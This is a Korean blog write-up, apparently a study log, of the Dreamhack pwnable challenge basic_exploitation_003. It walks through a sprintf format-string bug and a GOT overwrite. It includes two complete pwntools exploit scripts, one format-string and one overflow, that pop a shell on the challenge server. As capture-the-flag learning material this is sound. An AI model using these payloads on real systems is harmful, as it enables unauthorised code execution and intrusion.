학습 기록일지
Dreamhack - basic_exploition_003 본문
포너블 1레벨 마지막 문제이다.
생각보다 시간이 많이 안나고 머리도 안좋아서 문제푸는 속도가 갈수록 느려지고있다...
전 문제와 마찬가지로 FSB문제
gdb 로 checksec 확인시 NX-bit와 RELRO 보호기법이 걸려있는걸 확인할 수 있다.
소스코드를 확인해보면 initialize로 알람을 걸어준다.
전편과 마찬가지로 get_shell 함수가 존재하며, heap_buf를 0x80만큼 할당하였다.
입력해준 값이 sprintf 함수를 통해 0x90 만큼 stack_buf 에 저장해준다. 이때 sprintf 가 길이제한과 서식지정자가 없어 FSB취약점이 발생한다.
sprintf함수를 이용하여 printf 함수의 got 주소를 get_shell 주소로 덮거나 return 주소를 get_shell로 덮으면 된다
필요한 get_shell 함수 주소와 printf@got 주소를 구했다
get_shell : 0x08048669
sprintf@got : 0x0804a034
printf@got : 0x0804a010
포멧스트링 첫번째 인자값을 참조한다
페이로드는 아래과 같이 구성된다. ([printf@got] + [get_shell] //기본형)
ex) get_shell : 0xABCDEFGH (리틀엔디언)
예시를 들자면 get_shell 1바이트 = GH , get_shell 2바이트 EF
[printf@got] + [printf@got + 1] + [get_shell 1바이트 - 0x8]hhn + [get_shell 2바이트 - get_shell 1바이트]hhn
([printf@got] 와 [printf@got + 1] 위치가 바뀐 이유는 큰수인 0x86에서 0x69를 빼야하기 때문에)
1바이트(hhn) 으로 구성되는 이유는 +2로 할 경우 30000 byte가 넘는 값을 입력받게되는데 해당 문제에서는 sprintf를 거치면서 0x90만 받아줘 segementation fault 발생하게 된다.
결과적으로 완성된 쉘
"\x11\xa0\x04\x08" + "\x10\xa0\x04\x08" + "%(0x69 - 8)c%1$hhn" + "%(0x86 - 0x69)c%2$hhn"
0x69 - 0x8 같은건 10진수로 변형 후 입력
== 코드 == >> FSB이용
from pwn import *
p = remote("host1.dreamhack.games",[포트])
shell = b"\x10\xa0\x04\x08" + b"\x11\xa0\x04\x08" + b"%97c%1$hhn" + b"%29c%2$hhn"
p.send(shell)
p.interactive()
=========
== 두번째 코드 == >> BOF
// 0x98 = 152 // sfp = 4
from pwn import *
p = remote("host1.dreamhack.games",10332)
elf = ELF("./basic_exploitation_003")
f_get_shell = elf.symbols['get_shell']
shell = b"%156c" #c, x, d
shell += p32(f_get_shell)
p.send(shell)
p.interactive()
================
=============================
이번 문제를 풀면서 프로세스 구조에대해서 너무 모른다고 판단. 공부가 필요함
FSB에서 이런식으로도 출력이 된다. 위에건 리턴주소
'워게임 > 포너블' 카테고리의 다른 글
Dreamhack - Sint (0) | 2021.06.17 |
---|---|
Dreamhack - out_of_bound (0) | 2021.06.14 |
Dreamhack - off_bye_one_000 (0) | 2021.06.10 |
Dreamhack - basic_exploitation_001 (0) | 2021.05.26 |
Dreamhack - basic_exploitation_000 (0) | 2021.05.20 |